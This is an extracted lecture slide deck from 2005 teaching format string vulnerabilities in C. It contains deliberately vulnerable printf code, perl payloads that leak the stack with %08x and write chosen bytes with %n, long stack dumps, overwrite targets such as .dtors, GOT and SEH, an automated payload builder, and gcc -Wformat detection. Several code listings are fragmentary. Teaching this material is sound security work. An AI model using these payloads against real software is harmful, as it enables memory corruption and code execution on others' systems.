Format String Vulnerability
Format String Vulnerability
I & II
[email protected]
2005/10/15
fprintf
printf
sprintf
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
2
Dangerous
char buf[] = Hello World;
printf(buf);
Why is Dangerous
Example 1
printf(argv[1]);
Example 2
int show_error(char *str)
{
printf(str);
}
What will happen if we insert a %s to argv[1] or str
Print the stack content as a string
4
Why is DangerousCont.
Sample Code
#include <stdio.h>
int main(int argc, char *argv[])
{
if (argc > 1)
printf(argv[1]);
putchar('\n');
return 0;
}
Execute
$ ./a.out `perl -e 'print "AAAAAAAA"."%08x."x200'`
5
Why is DangerousCont.
AAAAAAAAbfbfef90.000000f3.2804e06f.0804835b.068acf04.66667542.75427265.7265
6666.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000
000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.0000000
0.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000
.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.
00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.0
0000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00
000000.00000000.00000000.00000000.00000000.bfbff0e4.080484cd.00000002.bfbff0
ec.bfbff0f8.bfbff207.bfbff207.00000297.bfbff0e4.080483e2.080484b3.08048688.00000
000.00000000.00000000.bfbff0e0.00000000.00000000.bfbff0e0.bfbff0e4.bfbff0ec.000
00000.00000002.bfbff200.bfbff208.00000000.bfbff5f9.bfbff60f.bfbff61b.bfbffa02.bfbffa
0b.bfbffa1a.bfbffa24.bfbffa31.bfbffa47.bfbffa5b.bfbffad2.bfbffadf.bfbffaf4.bfbffb14.bfbff
b46.bfbffb59.bfbffb6a.bfbffb77.bfbffb86.bfbffb94.bfbffb9c.bfbffbc4.bfbffbd0.bfbffbdd.bf
bffbf8.bfbffc1b.bfbffc3b.bfbffdfb.bfbffe15.bfbffe23.bfbffe39.bfbffe47.bfbffe5f.bfbffe79.b
fbffea0.00000000.00000003.08048034.00000004.00000020.00000005.00000006.000
00006.00001000.00000008.00000000.00000009.08048444.00000007.28049000.0000
0000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000
000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.2e612f2
e.0074756f.41414141.41414141.78383025.3830252e.30252e78.252e7838.2e783830.
78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.2
52e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.38
30252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e78
3830.78383025.3830252e.30252e78.252e7838.2e783830.
Why is DangerousCont.
How about insert a memory address
instead of AAAAAAAA
For exaple, use \x61\xfa\xbf\xbf
41414141 -> bfbffa61
%n format
return address
dtor
Global offset table
8
Sample code
#include <stdio.h>
putchar('\n');
return 0;
$ ./a.out
Buffer on 0xbfbff390
0000000.00000000.00000000.00000000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00
000000.00000000.00000000.00000000.00000000.00000000.00000000.0000000
0.00000000.00000000.00000000.00000000.00000000.00000000.00000000.000
00000.00000000.00000000.00000000.00000000.00000000.00000000.00000000
.00000000.00000000.00000000.bfbff1a0.080484cd.00000002.bfbff1a8.bfbff1b4.
bfbff2c3.00000283.bfbff1a0.080483e2.080484b3.08048688.00000000.00000000
.00000000.bfbff19c.00000000.00000000.bfbff19c.bfbff1a0.bfbff1a8.00000000.0
0000002.bfbff2bc.bfbff2c4.00000000.bfbff5f8.bfbff60e.bfbff61a.bfbffa01.bfbffa0a
.bfbffa19.bfbffa23.bfbffa30.bfbffa46.bfbffa5a.bfbffad1.bfbffade.bfbffaf3.bfbffb13.
bfbffb45.bfbffb58.bfbffb69.bfbffb76.bfbffb85.bfbffb93.bfbffb9b.bfbffbc3.bfbffbcf.b
fbffbdc.bfbffbf7.bfbffc1a.bfbffc3a.bfbffdfa.bfbffe14.bfbffe22.bfbffe38.bfbffe46.bfbf
fe5e.bfbffe78.bfbffe9f.00000000.00000003.08048034.00000004.00000020.0000
0005.00000006.00000006.00001000.00000008.00000000.00000009.08048444.
00000007.28049000.00000000.00000000.00000000.00000000.00000000.00000
000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.0
0000000.00000000.00000000.2e612f2e.0074756f.bfbff390.
10
0000000.00000000.00000000.00000000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00
000000.00000000.00000000.00000000.00000000.00000000.00000000.0000000
0.00000000.00000000.00000000.00000000.00000000.00000000.00000000.000
00000.00000000.00000000.00000000.00000000.00000000.00000000.00000000
.00000000.00000000.00000000.bfbff1a0.080484cd.00000002.bfbff1a8.bfbff1b4.
bfbff2c3.00000283.bfbff1a0.080483e2.080484b3.08048688.00000000.00000000
.00000000.bfbff19c.00000000.00000000.bfbff19c.bfbff1a0.bfbff1a8.00000000.0
0000002.bfbff2bc.bfbff2c4.00000000.bfbff5f8.bfbff60e.bfbff61a.bfbffa01.bfbffa0a
.bfbffa19.bfbffa23.bfbffa30.bfbffa46.bfbffa5a.bfbffad1.bfbffade.bfbffaf3.bfbffb13.
bfbffb45.bfbffb58.bfbffb69.bfbffb76.bfbffb85.bfbffb93.bfbffb9b.bfbffbc3.bfbffbcf.b
fbffbdc.bfbffbf7.bfbffc1a.bfbffc3a.bfbffdfa.bfbffe14.bfbffe22.bfbffe38.bfbffe46.bfbf
fe5e.bfbffe78.bfbffe9f.00000000.00000003.08048034.00000004.00000020.0000
0005.00000006.00000006.00001000.00000008.00000000.00000009.08048444.
00000007.28049000.00000000.00000000.00000000.00000000.00000000.00000
000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.0
0000000.00000000.00000000.2e612f2e.0074756f.Hello World
11
12
Demo Program
#include <stdio.h>
Result
1st 0: 0
AAAA 2nd: 4
AAAAAA 3rd: 6
13
Sample Code
#include <stdio.h>
putchar('\n');
printf("after write value = %d\n", value);
return 0;
14
Command
Result
value @ 0xbfbff26c
before write value = 0
?0000000.2804bc1b.00000002.bfbff2d4.08049690.bfbff2c8.2807caf6.00000002.00000000.b
fbff2c0.08048499.00000002.bfbff2c8.bfbff2d4.bfbff3e3.00000287.bfbff2c0.080483be.0804847
f.0804863c.00000000.00000000.00000000.bfbff2bc.00000000.00000000.bfbff2bc.bfbff2c0.bf
bff2c8.00000000.00000002.bfbff3dc.bfbff3e4.00000000.bfbff5e9.bfbff5ff.bfbff60b.bfbff9f2.bfb
ff9fb.bfbffa0a.bfbffa14.bfbffa21.bfbffa37.bfbffa4b.bfbffac2.bfbffacf.bfbffae4.bfbffb04.bfbffb36.
bfbffb49.bfbffb5a.bfbffb67.bfbffb76.bfbffb84.bfbffb8c.bfbffbc5.bfbffbd1.bfbffbde.bfbffbf9.bfbffc
1c.bfbffc3c.bfbffdfc.bfbffe16.bfbffe24.bfbffe3a.bfbffe48.bfbffe60.bfbffe7a.bfbffea1.00000000.0
0000003.08048034.00000004.00000020.00000005.00000006.00000006.00001000.00000008
.00000000.00000009.08048410.00000007.28049000.00000000.00000000.00000000.000000
00.00000000.00000000.00000000.00000000.00000000.00000000.00000000.00000000.0000
0000.00000000.00000000.00000000.2e612f2e.0074756f.
15
Multiple Writes
4-stage writes
Because the length format is not big
enough.
Write 4 times for 4 bytes
1st Write
2nd Write
3rd Write
4th Write
Result
12 00 00 00
34 00 00 00
56 00 00 00
0xbfbff26c
0xbfbff26d
0xbfbff26e
78 00 00 00 0xbfbff26f
12 34 56 78
17
18
No Junk strings
./a.out `perl -e 'print
"\x6c\xf2\xbf\xbf\x6d\xf2\xbf\xbf\x6e\xf2\xb
f\xbf\x6f\xf2\xbf\xbf"`%5\$30x%6\$n%5\$4
5x%6\$n%5\$57x%6\$n%5\$89x%6\$n
19
Where to overwrite
Simple & Important Value
Unix-Like
Environment Variable
.dtors
GOT
Windows
SEH (Structures Exception Handler)
20
Objdump s j .dtors
Begin ffffffff
End 00000000
21
Objdump d j .got
Objdump R
22
Detection
Easy to detect
gcc Wformat
23
Automated tool
fmtbuilder
Usage : ./fmtbuilder [-nh] -a
<locaddr> -v <retaddr> -o <offset>
./a.out `./fmtbuilder -r 0x04030201 -a
0xbffff8f8 -b 0 -o 2 -n`
http://packetstormsecurity.org/paper
s/unix/fmtbuild.htm
24
25
OS difference
Windows
Low address
Unix-Like
High address
Sparc
%hn
26
Reference
Hacking The Art of Exploitation
By Jon Erickson
http://packetstormsecurity.org/
27
The End
28